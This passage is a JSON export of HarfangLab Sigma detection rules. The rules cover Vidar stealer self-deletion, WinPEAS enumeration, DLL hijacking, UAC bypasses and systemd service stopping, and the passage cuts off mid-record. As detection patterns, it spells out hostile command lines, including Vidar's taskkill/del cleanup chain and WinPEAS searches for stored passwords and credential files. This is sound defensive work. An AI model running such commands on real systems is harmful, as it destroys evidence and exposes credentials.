+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611003Z",
+  "creation_date": "2026-03-23T11:45:34.611006Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611014Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vidar-malware-launcher-concealed-in-help-file/",
+    "https://blog.cyble.com/2021/10/26/vidar-stealer-under-the-lens-a-deep-dive-analysis/",
+    "https://attack.mitre.org/techniques/T1587/001/",
+    "https://attack.mitre.org/techniques/T1539/",
+    "https://attack.mitre.org/techniques/T1087/",
+    "https://attack.mitre.org/techniques/T1095/"
+  ],
+  "name": "t1587_001_vidar_trojan_usage.yml",
+  "content": "title: Possible Vidar Stealer Command-line Execution\nid: 6ac8ae28-b9f5-4dd1-897f-8aacbdde35c6\ndescription: |\n    Detects suspicious command-lines usually associated with the Vidar Stealer self-deleting.\n    Vidar is a forked malware based on Arkei and is designed to steal credentials from victims' devices, including but not limited to banking information, crypto wallets and browser credentials.\n    It is recommended to analyze the process responsible for the execution of this command-line and to analyze all child processes stemming from cmd.exe.\nreferences:\n    - https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/vidar-malware-launcher-concealed-in-help-file/\n    - https://blog.cyble.com/2021/10/26/vidar-stealer-under-the-lens-a-deep-dive-analysis/\n    - https://attack.mitre.org/techniques/T1587/001/\n    - https://attack.mitre.org/techniques/T1539/\n    - https://attack.mitre.org/techniques/T1087/\n    - https://attack.mitre.org/techniques/T1095/\ndate: 2022/10/20\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1587.001\n    - attack.t1539\n    - attack.t1087\n    - attack.t1095\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Stealer.Vidar\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Deletion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\cmd.exe'\n        CommandLine|contains:\n            - '/c taskkill /im *.exe /f & timeout /t 6 & del /f /q *.exe & del ?:\\PrograData\\\\*.dll & exit' # There really is a typo\n            - '/c taskkill /im *.exe /f & timeout /t 6 & del /f /q \"*.exe\" & del ?:\\ProgramData\\\\*.dll & exit'\n            - '/c taskkill /im *.exe /f & erase *.exe & exit'\n\n    condition: selection\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6ac8ae28-b9f5-4dd1-897f-8aacbdde35c6",
+  "rule_name": "Possible Vidar Stealer Command-line Execution",
+  "rule_description": "Detects suspicious command-lines usually associated with the Vidar Stealer self-deleting.\nVidar is a forked malware based on Arkei and is designed to steal credentials from victims' devices, including but not limited to banking information, crypto wallets and browser credentials.\nIt is recommended to analyze the process responsible for the execution of this command-line and to analyze all child processes stemming from cmd.exe.\n",
+  "rule_creation_date": "2022-10-20",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087",
+    "attack.t1095",
+    "attack.t1539",
+    "attack.t1587.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6add9385-b6ca-466e-bd6a-b299f4efd32f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589388Z",
+  "creation_date": "2026-03-23T11:45:34.589391Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589399Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_repadmin.yml",
+  "content": "title: DLL Hijacking via repadmin.exe\nid: 6add9385-b6ca-466e-bd6a-b299f4efd32f\ndescription: |\n    Detects potential Windows DLL Hijacking via repadmin.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'repadmin.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\certcli.dll'\n            - '\\dnsapi.dll'\n            - '\\dsrole.dll'\n            - '\\logoncli.dll'\n            - '\\mpr.dll'\n            - '\\netutils.dll'\n            - '\\ntdsapi.dll'\n            - '\\secur32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6add9385-b6ca-466e-bd6a-b299f4efd32f",
+  "rule_name": "DLL Hijacking via repadmin.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via repadmin.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6b267200-d21d-471d-8ebe-6571ed2f02fb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.606576Z",
+  "creation_date": "2026-03-23T11:45:34.606579Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.606586Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS",
+    "https://attack.mitre.org/techniques/T1082/",
+    "https://attack.mitre.org/techniques/T1592/",
+    "https://attack.mitre.org/tactics/TA0004/"
+  ],
+  "name": "t1082_winpeas_cmds.yml",
+  "content": "title: WinPEAS HackTool Enumeration Batch Job Executed\nid: 6b267200-d21d-471d-8ebe-6571ed2f02fb\ndescription: |\n    Detects specific WinPEAS (Windows Privilege Escalation Awesome Scripts) commands.\n    WinPEAS is a tool used in post-exploitation phases to automatically discover privilege escalation vectors through misconfigurations, vulnerable services, and sensitive credential files.\n    It is recommended to check if the usage of WinPEAS is legitimate as well as to investigate the user context and look for subsequent privilege escalation attempts.\nreferences:\n    - https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS\n    - https://attack.mitre.org/techniques/T1082/\n    - https://attack.mitre.org/techniques/T1592/\n    - https://attack.mitre.org/tactics/TA0004/\ndate: 2022/10/19\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1082\n    - attack.reconnaissance\n    - attack.t1592.001\n    - attack.t1592.002\n    - attack.t1592.004\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1222.001\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.WinPEAS\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    info_printing:\n        Image|endswith: '\\cmd.exe'\n        ParentImage|endswith: '\\forfiles.exe'\n        CommandLine|contains:\n            - 'UNQUOTED SERVICE PATHS'\n            - 'SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS'\n            - 'DLL HIJACKING in PATHenv variable'\n            - 'CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY'\n\n    enumerating_winlogon:\n        Image|endswith: '\\findstr.exe'\n        CommandLine|contains: 'findstr ?i DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername'\n\n    enumerating_run_startup:\n        Image|endswith: '\\findstr.exe'\n        CommandLine|contains: 'findstr ?v ?i \"disable deshab informa\")'\n\n    enumerating_credentials:\n        Image|endswith: '\\cmd.exe'\n        CommandLine|contains: 'RDCMan.settings == *.rdg == SCClient.exe == *_history == .sudo_as_admin_successful == .profile == *bashrc == httpd.conf == *.plan == .htpasswd == .git-credentials == *.rhosts == hosts.equiv == Dockerfile == docker-compose.yml == appcmd.exe == TypedURLs == TypedURLsTime == History == Bookmarks == Cookies'\n\n    enumerating_antivirus:\n        Image|endswith: '\\WMIC.exe'\n        CommandLine|contains: 'WMIC ?Node:localhost ?Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName ?Format:List'\n\n    enumerating_winrm:\n        Image|endswith: '\\cmd.exe'\n        CommandLine|contains: '?c sc qc WinRM | findstr BINARY_PATH_NAME | findstr ?i ?v ?l ?c:?:\\windows\\system32 | findstr ?v /c:'\n\n    condition: 1 of enumerating_* or info_printing\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6b267200-d21d-471d-8ebe-6571ed2f02fb",
+  "rule_name": "WinPEAS HackTool Enumeration Batch Job Executed",
+  "rule_description": "Detects specific WinPEAS (Windows Privilege Escalation Awesome Scripts) commands.\nWinPEAS is a tool used in post-exploitation phases to automatically discover privilege escalation vectors through misconfigurations, vulnerable services, and sensitive credential files.\nIt is recommended to check if the usage of WinPEAS is legitimate as well as to investigate the user context and look for subsequent privilege escalation attempts.\n",
+  "rule_creation_date": "2022-10-19",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1082",
+    "attack.t1222.001",
+    "attack.t1592.001",
+    "attack.t1592.002",
+    "attack.t1592.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6b391800-cce0-4884-8edc-4be9d0b7daae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092372Z",
+  "creation_date": "2026-03-23T11:45:34.092374Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092378Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/hfiref0x/UACME",
+    "https://attack.mitre.org/techniques/T1548/002/"
+  ],
+  "name": "t1548_002_uac_bypass_mmc_atl_mmcex.yml",
+  "content": "title: DLL Related to UAC Bypass Loaded by mmc.exe\nid: 6b391800-cce0-4884-8edc-4be9d0b7daae\ndescription: |\n    Detects a suspicious DLL being loaded by mmc.exe.\n    Adversaries may abuse a COM object's auto-elevation mechanism to write a DLL in an arbitrary path and then execute mmc.exe to execute arbitrary code with elevated privileges for UAC bypass.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to investigate the behavior of mmc.exe and to identify the process responsible for the DLL file creation.\nreferences:\n    - https://github.com/hfiref0x/UACME\n    - https://attack.mitre.org/techniques/T1548/002/\ndate: 2024/10/08\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.defense_evasion\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection_process:\n        ProcessOriginalFileName: 'mmc.exe'\n\n    selection_variant_1:\n        ProcessCommandLine|contains: 'WmiMgmt.msc'\n        ImageLoaded|endswith: '\\ATL.DLL'\n        Signed: 'false'\n\n    selection_variant_2:\n        ImageLoaded|endswith: '\\MMCEx.ni.dll'\n        Signed: 'false'\n\n    exclusion_mmcex_microsoft:\n        ImageLoaded|endswith: '?:\\Windows\\assembly\\NativeImages_*_??\\MMCEx\\\\*\\MMCEx.ni.dll'\n        Company: 'Microsoft Corporation'\n        Description: 'MMCEx'\n\n    condition: selection_process and 1 of selection_variant_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6b391800-cce0-4884-8edc-4be9d0b7daae",
+  "rule_name": "DLL Related to UAC Bypass Loaded by mmc.exe",
+  "rule_description": "Detects a suspicious DLL being loaded by mmc.exe.\nAdversaries may abuse a COM object's auto-elevation mechanism to write a DLL in an arbitrary path and then execute mmc.exe to execute arbitrary code with elevated privileges for UAC bypass.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to investigate the behavior of mmc.exe and to identify the process responsible for the DLL file creation.\n",
+  "rule_creation_date": "2024-10-08",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6b4a72fc-da92-4c5d-af69-3f604fd5dd03",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089770Z",
+  "creation_date": "2026-03-23T11:45:34.089772Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089776Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1489/",
+    "https://attack.mitre.org/techniques/T1569/",
+    "https://attack.mitre.org/techniques/T1562/001/"
+  ],
+  "name": "t1489_systemd_service_stop.yml",
+  "content": "title: Suspicious SystemD Service Stopped\nid: 6b4a72fc-da92-4c5d-af69-3f604fd5dd03\ndescription: |\n    Detects a sensitive SystemD service being manually from stopped using the systemd binary.\n    Adversaries may stop services on a system to render those services unavailable to legitimate users or to impair the security tools already installed.\n    It is recommended to analyze the behavior of the user performing this action around the alert to look for malicious content or actions.\nreferences:\n    - https://attack.mitre.org/techniques/T1489/\n    - https://attack.mitre.org/techniques/T1569/\n    - https://attack.mitre.org/techniques/T1562/001/\ndate: 2023/12/15\nmodified: 2025/01/09\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1489\n    - attack.execution\n    - attack.t1569\n    - attack.defense_evasion\n    - attack.t1562.001\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.DefenseEvasion\n    - classification.Linux.Behavior.SystemModification\n    - classification.Linux.Behavior.ServiceStop\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_systemctl:\n        Image|endswith: '/systemctl'\n        CommandLine|contains:\n            - ' kill '\n            - ' stop '\n\n    selection_service:\n        CommandLine|contains:\n            - ' mysql'\n            - ' ssh'\n            - ' cron'\n            - ' libvirtd'\n\n    # Package Managers\n    exclusion_dpkg:\n        - ProcessImage: '/usr/bin/dpkg'\n        - ProcessParentImage: '/usr/bin/dpkg'\n        - ProcessGrandparentImage: '/usr/bin/dpkg'\n    exclusion_dpkg_cmds_bin:\n        - ProcessCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/bin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/dpkg-'\n    exclusion_dpkg_cmds_sbin:\n        - ProcessCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessParentCommandLine|contains: '/usr/sbin/dpkg-'\n        - ProcessGrandparentCommandLine|contains: '/usr/sbin/dpkg-'\n    exclusion_apt:\n        - ProcessImage: '/usr/bin/apt'\n        - ProcessParentImage: '/usr/bin/apt'\n        - ProcessGrandparentImage: '/usr/bin/apt'\n    exclusion_debconf:\n        - ProcessCommandLine|contains: '/usr/bin/debconf'\n        - ProcessParentCommandLine|contains: '/usr/bin/debconf'\n        - ProcessGrandparentCommandLine|contains: '/usr/bin/debconf'\n    exclusion_dpkg_postinstall:\n        - ProcessCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessParentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n        - ProcessGrandparentCommandLine|contains: '/var/lib/dpkg/info/*.postinst configure'\n    exclusion_yum:\n        - ProcessCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessParentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n        - ProcessGrandparentCommandLine|startswith:\n            - '/usr/bin/python* /bin/yum '\n            - '/usr/bin/python* /usr/bin/yum '\n            - '/usr/bin/python* /usr/sbin/yum-cron'\n            - '/usr/libexec/platform-python /bin/yum '\n            - '/usr/libexec/platform-python /usr/bin/yum '\n    exclusion_dnf:\n        ProcessCommandLine|startswith:\n            - '/usr/libexec/platform-python /bin/dnf '\n            - '/usr/libexec/platform-python /usr/bin/dnf '\n            - '/usr/libexec/platform-python /bin/dnf-automatic '\n            - '/usr/libexec/platform-python /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf-automatic '\n            - '/usr/bin/python? /usr/bin/dnf-automatic'\n            - '/usr/bin/python? /bin/dnf '\n            - '/usr/bin/python? /usr/bin/dnf '\n            - '/usr/bin/python?.? /bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf '\n            - '/usr/bin/python?.? /usr/bin/dnf-automatic'\n    exclusion_snapd:\n        ProcessParentImage: '/snap/snapd/*/usr/lib/snapd/snapd'\n    exclusion_apk:\n        ProcessImage:\n            - '/sbin/apk'\n            - '/usr/sbin/apk'\n\n    exclusion_puppet:\n        - ParentImage: '/opt/puppetlabs/puppet/bin/ruby'\n        - GrandparentImage: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_parent_commandline:\n        ProcessParentCommandLine:\n            - '/bin/sh /usr/sbin/invoke-rc.d * stop'\n            - 'bash -c . /opt/wab/share/common/service-management.bash; relax_system'\n            - '/bin/bash /usr/local/bin/backup_mysql_bi'\n            - '/usr/bin/monit -c /etc/monit/monitrc'\n            - '/usr/bin/python /home/*/.ansible/tmp/ansible-tmp-*/ansiballz_*.py'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6b4a72fc-da92-4c5d-af69-3f604fd5dd03",
+  "rule_name": "Suspicious SystemD Service Stopped",
+  "rule_description": "Detects a sensitive SystemD service being manually from stopped using the systemd binary.\nAdversaries may stop services on a system to render those services unavailable to legitimate users or to impair the security tools already installed.\nIt is recommended to analyze the behavior of the user performing this action around the alert to look for malicious content or actions.\n",
+  "rule_creation_date": "2023-12-15",
+  "rule_modified_date": "2025-01-09",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1489",
+    "attack.t1562.001",
+    "attack.t1569"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6b59f2b7-766d-4f2f-9527-e99d9058eb37",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.077738Z",
+  "creation_date": "2026-03-23T11:45:34.077740Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.077745Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/L3cr0f/DccwBypassUAC"
+  ],
+  "name": "uac_bypass_dccw.yml",
+  "content": "title: UAC Bypass Executed via dccw.exe\nid: 6b59f2b7-766d-4f2f-9527-e99d9058eb37\ndescription: |\n    Detects the dccw.exe process loading an unsigned GdiPlus.dll.\n    This may be indicative of an UAC bypass.\n    Adversaries may bypass UAC mechanisms to elevate process privileges on system.\n    Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\n    It is recommended to analyze the loaded DLL and user session responsible to look for malicious content or actions.\nreferences:\n    - https://github.com/L3cr0f/DccwBypassUAC\ndate: 2020/10/14\nmodified: 2025/04/10\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1574.002\n    - attack.t1548.002\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.UACBypass\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        Image|endswith: 'Windows\\System32\\dccw.exe'\n        ImageLoaded: '*\\Windows\\System32\\dccw.exe.local\\\\*\\GdiPlus.dll'\n\n    filter_signed:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows Publisher'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6b59f2b7-766d-4f2f-9527-e99d9058eb37",
+  "rule_name": "UAC Bypass Executed via dccw.exe",
+  "rule_description": "Detects the dccw.exe process loading an unsigned GdiPlus.dll.\nThis may be indicative of an UAC bypass.\nAdversaries may bypass UAC mechanisms to elevate process privileges on system.\nWindows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation.\nIt is recommended to analyze the loaded DLL and user session responsible to look for malicious content or actions.\n",
+  "rule_creation_date": "2020-10-14",
+  "rule_modified_date": "2025-04-10",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.002",
+    "attack.t1574.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6b6a4571-da9f-4a59-95d2-54764f10e54d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.089678Z",
+  "creation_date": "2026-03-23T11:45:34.089680Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.089685Z",
